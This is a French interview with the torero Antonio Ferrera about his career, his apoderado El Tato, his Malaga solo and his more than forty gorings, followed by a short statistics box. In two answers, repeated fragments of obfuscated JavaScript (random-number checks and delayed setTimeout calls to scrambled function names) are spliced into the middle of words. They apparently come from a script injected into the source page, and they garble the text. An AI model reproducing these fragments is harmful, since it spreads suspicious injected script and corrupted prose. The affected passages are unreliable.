INTERVIEW AVEC ANTONIO FERRERA

Interview avec Antonio Ferrera.

 « Aimer le toreo par-dessus-tout » Après de nombreux aléas dans sa carrière, il a la reconnaissance du public, des journalistes mais aussi de ses pairs. Qu’est-ce que cela signifie pour lui ?

Cela me donne surtout envie de continuer sur la route que je me suis tracée. L’expérience, le temps, sont des alliés qui m’ont permis d’épurer ma tauromachie et de vivre pleinement ce qui me rend heureux : être torero.

On te dit inoxydable. Je crois qu’il faut chercher au fond de soi même qui l’on veut être en sachant qui l’on est. La vie est faite de hauts et de bas, il faut les accepter et en tirer des leçons. Tu te retrouves de plus en plus en accord avec toi-même et l’oxydation n’apparaît pas, ou du moins tu l’essayes. L’expérience t’ouvre de nouvelles perspectives.

Que t’apporte un torero comme « El Tato », ton apoderado ? Il y a toujours des échanges entre toreros, même avec des toreros débutants tu peux apprendre quelque chose. El Tato est reconnu dans ce métier, il a connu de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands succès et évidemment nous parlons beaucoup toros entre nous.

Tu es souvent à l’affiche avec toutes sortes de ganaderias. Est-un choix de votre part ? A certains moments de ma carrière c’était le marché qui dictait mes choix, mais ce n’est plus le cas. J’ai toujours pensé que pour évoluer, pour grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andir, il faut connaître le toro dans toutes ses variantes, avec toutes ses spécificités suivant ses encastes et ses comportements. C’est pour moi un défi permanent.

Pourquoi as-tu affronté à Malaga seul six toros à Malaga ? D’abord pour des raisons personnelles, familiales, mais aussi parce que ce sont des arènes où j’ai ressenti le toreo d’une façon très spéciale. On a tous des rêves, certains plus difficiles à atteindre que d’autres, et dans ma carrière de torero il y a des moments marquants comme mon solo avec les six Victorino. Je voulais le faire avec les Miura parce que je ressentais ce besoin en moi, pour continuer à bâtir mon histoire.

Passer en premier est-ce une difficulté supplémentaire ? Il ne faut pas trop y penser et, comme l’on dit, c’est le premier cierge celui qui éclaire.

Tu es le torero actuel le plus châtié de tous, avec plus de quarante coups de corne. D’où te vient la force pour surmonter toutes ces épreuves ? Elle te vient du coeur, de ton engagement. On n’oublie pas les blessures, on ne peut pas les prendre à la légère, c’est quelque chose de fort, de douloureux, mais pratiquement tous ces coups de corne c’était des jours de triomphe. On doit les accepter le plus naturellement possible, comme quelque chose d’inhérent à ce métier, et il faut surtout aimer ce que l’on fait par-dessus-tout.

 Antonio Ferrera est né le 19 février 1977 à Ibiza

Alternative: 2 mars 1997 à Olivenza.

Apoderado: Raul Gracia “El Tato”.

Temporada 2013: 38 corridas, 54 oreilles et 3 queues.

Temporada 2014 au 1er septembre  : 28 corridas, 29 oreilles et 1 queue

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